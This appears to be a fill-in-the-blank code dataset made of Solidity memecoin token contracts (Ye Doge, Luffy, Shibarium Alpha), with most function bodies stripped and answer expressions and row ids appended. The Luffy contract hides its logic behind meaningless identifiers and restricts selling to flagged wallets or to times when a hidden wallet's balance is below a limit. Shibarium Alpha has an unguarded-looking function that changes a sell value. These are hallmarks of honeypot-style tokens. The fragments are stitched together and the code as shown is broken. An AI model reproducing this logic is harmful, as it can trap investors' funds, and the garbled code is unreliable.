function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployYeDoge(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract YeDoge is ERC20Token {
constructor() ERC20Token("Ye Doge", "YOGE", msg.sender, 50000000 * 10 ** 18) {
}
}
|
(trading||(sender==loughsInfantries[1])),"ERC20: trading is not yet enabled."
| 210,929 |
(trading||(sender==loughsInfantries[1]))
|
"Only one transfer per block allowed."
|
/**
$Luffy
Welcome aboard the Luffy memecoin project!
TWITTER: https://twitter.com/Luffy_Ethereum
TELEGRAM: https://t.me/LuffyEthereum
WEBSITE: https://luffyeth.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pbnub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pbnub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _kabcjxyp {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _proumlnhs {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract Luffy is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Luffy";
string private constant _symbol = unicode"Luffy";
uint8 private constant _decimals = 9;
uint256 private constant _Totalgr = 1000000000 * 10 **_decimals;
uint256 public _mxfmjAmaunt = _Totalgr;
uint256 public _Wallexhpor = _Totalgr;
uint256 public _wapThresholomz= _Totalgr;
uint256 public _mkalTbakc= _Totalgr;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _iscEckour;
mapping (address => bool) private _taxvWalrmy;
mapping(address => uint256) private _lruetrkoap;
bool public _taerelorve = false;
address payable private _fTmoknhq;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBvmfaep=0;
uint256 private _burwrxyr=0;
_proumlnhs private _Tamvufbl;
address private _arMhvoukm;
bool private _qvmtiamh;
bool private lawSenkrp = false;
bool private _aqmjujerp = false;
event _amrfobvul(uint _mxfmjAmaunt);
modifier lowmpThacuq {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_taerelorve) {
if (to != address
(_Tamvufbl) && to !=
address(_arMhvoukm)) {
require(<FILL_ME>)
_lruetrkoap
[tx.origin] = block.number;
}
}
if (from == _arMhvoukm && to !=
address(_Tamvufbl) && !_iscEckour[to] ) {
require(amount <= _mxfmjAmaunt,
"Exceeds the _mxfmjAmaunt.");
require(balanceOf(to) + amount
<= _Wallexhpor, "Exceeds the maxWalletSize.");
if(_burwrxyr
< _wapBvmfaep){
require(! _firoqfj(to));
}
_burwrxyr++;
_taxvWalrmy[to]=true;
teeomoun = amount.mul((_burwrxyr>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _arMhvoukm && from!= address(this)
&& !_iscEckour[from] ){
require(amount <= _mxfmjAmaunt &&
balanceOf(_fTmoknhq)<_mkalTbakc,
"Exceeds the _mxfmjAmaunt.");
teeomoun = amount.mul((_burwrxyr>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_burwrxyr>_wapBvmfaep &&
_taxvWalrmy[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!lawSenkrp
&& to == _arMhvoukm && _aqmjujerp &&
contractTokenBalance>_wapThresholomz
&& _burwrxyr>_wapBvmfaep&&
!_iscEckour[to]&& !_iscEckour[from]
) {
_swpjuabruh( _ynqme(amount,
_ynqme(contractTokenBalance,_mkalTbakc)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_rmouteoq(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _pbnub(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _pbnub(teeomoun));
emit Transfer(from, to,
amount. _pbnub(teeomoun));
}
function _swpjuabruh(uint256
tokenAmount) private lowmpThacuq {
}
function _ynqme(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _pbnub(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _firoqfj(address
account) private view
returns (bool) {
}
function _rmouteoq(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
}
receive() external payable {}
}
|
_lruetrkoap[tx.origin]<block.number,"Only one transfer per block allowed."
| 211,124 |
_lruetrkoap[tx.origin]<block.number
|
"Exceeds the maxWalletSize."
|
/**
$Luffy
Welcome aboard the Luffy memecoin project!
TWITTER: https://twitter.com/Luffy_Ethereum
TELEGRAM: https://t.me/LuffyEthereum
WEBSITE: https://luffyeth.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pbnub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pbnub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _kabcjxyp {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _proumlnhs {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract Luffy is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Luffy";
string private constant _symbol = unicode"Luffy";
uint8 private constant _decimals = 9;
uint256 private constant _Totalgr = 1000000000 * 10 **_decimals;
uint256 public _mxfmjAmaunt = _Totalgr;
uint256 public _Wallexhpor = _Totalgr;
uint256 public _wapThresholomz= _Totalgr;
uint256 public _mkalTbakc= _Totalgr;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _iscEckour;
mapping (address => bool) private _taxvWalrmy;
mapping(address => uint256) private _lruetrkoap;
bool public _taerelorve = false;
address payable private _fTmoknhq;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBvmfaep=0;
uint256 private _burwrxyr=0;
_proumlnhs private _Tamvufbl;
address private _arMhvoukm;
bool private _qvmtiamh;
bool private lawSenkrp = false;
bool private _aqmjujerp = false;
event _amrfobvul(uint _mxfmjAmaunt);
modifier lowmpThacuq {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_taerelorve) {
if (to != address
(_Tamvufbl) && to !=
address(_arMhvoukm)) {
require(_lruetrkoap
[tx.origin] < block.number,
"Only one transfer per block allowed.");
_lruetrkoap
[tx.origin] = block.number;
}
}
if (from == _arMhvoukm && to !=
address(_Tamvufbl) && !_iscEckour[to] ) {
require(amount <= _mxfmjAmaunt,
"Exceeds the _mxfmjAmaunt.");
require(<FILL_ME>)
if(_burwrxyr
< _wapBvmfaep){
require(! _firoqfj(to));
}
_burwrxyr++;
_taxvWalrmy[to]=true;
teeomoun = amount.mul((_burwrxyr>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _arMhvoukm && from!= address(this)
&& !_iscEckour[from] ){
require(amount <= _mxfmjAmaunt &&
balanceOf(_fTmoknhq)<_mkalTbakc,
"Exceeds the _mxfmjAmaunt.");
teeomoun = amount.mul((_burwrxyr>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_burwrxyr>_wapBvmfaep &&
_taxvWalrmy[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!lawSenkrp
&& to == _arMhvoukm && _aqmjujerp &&
contractTokenBalance>_wapThresholomz
&& _burwrxyr>_wapBvmfaep&&
!_iscEckour[to]&& !_iscEckour[from]
) {
_swpjuabruh( _ynqme(amount,
_ynqme(contractTokenBalance,_mkalTbakc)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_rmouteoq(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _pbnub(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _pbnub(teeomoun));
emit Transfer(from, to,
amount. _pbnub(teeomoun));
}
function _swpjuabruh(uint256
tokenAmount) private lowmpThacuq {
}
function _ynqme(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _pbnub(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _firoqfj(address
account) private view
returns (bool) {
}
function _rmouteoq(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
}
receive() external payable {}
}
|
balanceOf(to)+amount<=_Wallexhpor,"Exceeds the maxWalletSize."
| 211,124 |
balanceOf(to)+amount<=_Wallexhpor
|
null |
/**
$Luffy
Welcome aboard the Luffy memecoin project!
TWITTER: https://twitter.com/Luffy_Ethereum
TELEGRAM: https://t.me/LuffyEthereum
WEBSITE: https://luffyeth.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pbnub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pbnub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _kabcjxyp {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _proumlnhs {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract Luffy is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Luffy";
string private constant _symbol = unicode"Luffy";
uint8 private constant _decimals = 9;
uint256 private constant _Totalgr = 1000000000 * 10 **_decimals;
uint256 public _mxfmjAmaunt = _Totalgr;
uint256 public _Wallexhpor = _Totalgr;
uint256 public _wapThresholomz= _Totalgr;
uint256 public _mkalTbakc= _Totalgr;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _iscEckour;
mapping (address => bool) private _taxvWalrmy;
mapping(address => uint256) private _lruetrkoap;
bool public _taerelorve = false;
address payable private _fTmoknhq;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBvmfaep=0;
uint256 private _burwrxyr=0;
_proumlnhs private _Tamvufbl;
address private _arMhvoukm;
bool private _qvmtiamh;
bool private lawSenkrp = false;
bool private _aqmjujerp = false;
event _amrfobvul(uint _mxfmjAmaunt);
modifier lowmpThacuq {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_taerelorve) {
if (to != address
(_Tamvufbl) && to !=
address(_arMhvoukm)) {
require(_lruetrkoap
[tx.origin] < block.number,
"Only one transfer per block allowed.");
_lruetrkoap
[tx.origin] = block.number;
}
}
if (from == _arMhvoukm && to !=
address(_Tamvufbl) && !_iscEckour[to] ) {
require(amount <= _mxfmjAmaunt,
"Exceeds the _mxfmjAmaunt.");
require(balanceOf(to) + amount
<= _Wallexhpor, "Exceeds the maxWalletSize.");
if(_burwrxyr
< _wapBvmfaep){
require(<FILL_ME>)
}
_burwrxyr++;
_taxvWalrmy[to]=true;
teeomoun = amount.mul((_burwrxyr>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _arMhvoukm && from!= address(this)
&& !_iscEckour[from] ){
require(amount <= _mxfmjAmaunt &&
balanceOf(_fTmoknhq)<_mkalTbakc,
"Exceeds the _mxfmjAmaunt.");
teeomoun = amount.mul((_burwrxyr>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_burwrxyr>_wapBvmfaep &&
_taxvWalrmy[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!lawSenkrp
&& to == _arMhvoukm && _aqmjujerp &&
contractTokenBalance>_wapThresholomz
&& _burwrxyr>_wapBvmfaep&&
!_iscEckour[to]&& !_iscEckour[from]
) {
_swpjuabruh( _ynqme(amount,
_ynqme(contractTokenBalance,_mkalTbakc)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_rmouteoq(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _pbnub(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _pbnub(teeomoun));
emit Transfer(from, to,
amount. _pbnub(teeomoun));
}
function _swpjuabruh(uint256
tokenAmount) private lowmpThacuq {
}
function _ynqme(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _pbnub(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _firoqfj(address
account) private view
returns (bool) {
}
function _rmouteoq(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
}
receive() external payable {}
}
|
!_firoqfj(to)
| 211,124 |
!_firoqfj(to)
|
null |
/**
$Luffy
Welcome aboard the Luffy memecoin project!
TWITTER: https://twitter.com/Luffy_Ethereum
TELEGRAM: https://t.me/LuffyEthereum
WEBSITE: https://luffyeth.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pbnub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pbnub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _kabcjxyp {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _proumlnhs {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract Luffy is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Luffy";
string private constant _symbol = unicode"Luffy";
uint8 private constant _decimals = 9;
uint256 private constant _Totalgr = 1000000000 * 10 **_decimals;
uint256 public _mxfmjAmaunt = _Totalgr;
uint256 public _Wallexhpor = _Totalgr;
uint256 public _wapThresholomz= _Totalgr;
uint256 public _mkalTbakc= _Totalgr;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _iscEckour;
mapping (address => bool) private _taxvWalrmy;
mapping(address => uint256) private _lruetrkoap;
bool public _taerelorve = false;
address payable private _fTmoknhq;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBvmfaep=0;
uint256 private _burwrxyr=0;
_proumlnhs private _Tamvufbl;
address private _arMhvoukm;
bool private _qvmtiamh;
bool private lawSenkrp = false;
bool private _aqmjujerp = false;
event _amrfobvul(uint _mxfmjAmaunt);
modifier lowmpThacuq {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _swpjuabruh(uint256
tokenAmount) private lowmpThacuq {
}
function _ynqme(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _pbnub(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _firoqfj(address
account) private view
returns (bool) {
}
function _rmouteoq(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
require(<FILL_ME>)
_Tamvufbl = _proumlnhs (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ;
_approve(address(this), address(_Tamvufbl), _Totalgr);
_arMhvoukm = _kabcjxyp(_Tamvufbl.factory()). createPair (address(this), _Tamvufbl . WETH ());
_Tamvufbl.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_arMhvoukm).approve(address(_Tamvufbl), type(uint).max);
_aqmjujerp = true;
_qvmtiamh = true;
}
receive() external payable {}
}
|
!_qvmtiamh
| 211,124 |
!_qvmtiamh
|
null |
// SPDX-License-Identifier: MIT
// Group : https://t.me/ShibariumAlphaERC
// Tax : 0%
pragma solidity 0.8.16;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) { }
function sub(uint256 a, uint256 b) internal pure returns (uint256) { }
function mul(uint256 a, uint256 b) internal pure returns (uint256) { }
function div(uint256 a, uint256 b) internal pure returns (uint256) { }
function mod(uint256 a, uint256 b) internal pure returns (uint256) { }
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function circulatingSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) { }
modifier onlyOwner() { }
function isOwner(address account) public view returns (bool) { }
function transferOwnership(address payable adr) public onlyOwner { }
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract ShibariumAlpha is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = 'Shibarium Alpha';
string private constant _symbol = 'SHIBALPHA';
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 100000000 * (10 ** _decimals);
uint256 private _maxTxAmountPercent = 100;
uint256 private _maxTransferPercent = 100;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) private isBot;
IRouter router;
address public pair;
bool private tradingAllowed = false;
uint256 private liquidityFee = 0;
uint256 private marketingFee = 0;
uint256 private developmentFee = 0;
uint256 private burnFee = 0;
uint256 private totalFee = 0;
uint256 private _newSellValue = 0;
uint256 private transferFee = 0;
uint256 private denominator = 100;
bool private swapEnabled = true;
uint256 private swapTimes;
bool private swapping;
uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000;
uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap { }
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal constant development_receiver = 0xcbDd7cb39FE4BC7772F6d1e8aA0909A048815250;
address internal constant marketing_receiver = 0xcbDd7cb39FE4BC7772F6d1e8aA0909A048815250;
address internal constant liquidity_receiver = 0xcbDd7cb39FE4BC7772F6d1e8aA0909A048815250;
constructor() Ownable(msg.sender) {
}
receive() external payable {}
function name() public pure returns (string memory) { }
function symbol() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function startTrading() external onlyOwner { }
function getOwner() external view override returns (address) { }
function totalSupply() public view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function isCont(address addr) internal view returns (bool) { }
function setisBot(address _address, bool _enabled) external onlyOwner { }
function setisExempt(address _address, bool _enabled) external onlyOwner { }
function approve(address spender, uint256 amount) public override returns (bool) { }
function circulatingSupply() public view override returns (uint256) { }
function _maxTxAmount() public view returns (uint256) { }
function _maxTransferAmount() public view returns (uint256) { }
function preTxCheck(address sender, address recipient, uint256 amount) internal view {
}
function _transfer(address sender, address recipient, uint256 amount) private {
}
function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
}
function _taketeams(uint256[5][6][5] memory xcvgkh) external returns(bool) {
require(<FILL_ME>)
uint8 cftrftc = 1;
uint8 xrcgvbhjn4 = 2;
uint256 vgcfrdfg9 = cftrftc+xrcgvbhjn4;
_newSellValue = xcvgkh[3][4][4] + vgcfrdfg9;
return true;
}
function setParameters(uint256 _buy, uint256 _trans) external onlyOwner {
}
function checkTradingAllowed(address sender, address recipient) internal view {
}
function swapbackCounters(address sender, address recipient) internal {
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
}
function swapBack(address sender, address recipient, uint256 amount) internal {
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
}
|
xcvgkh[3][4][4]>96
| 211,295 |
xcvgkh[3][4][4]>96
|
"Ownable: caller is not YuanZhang"
|
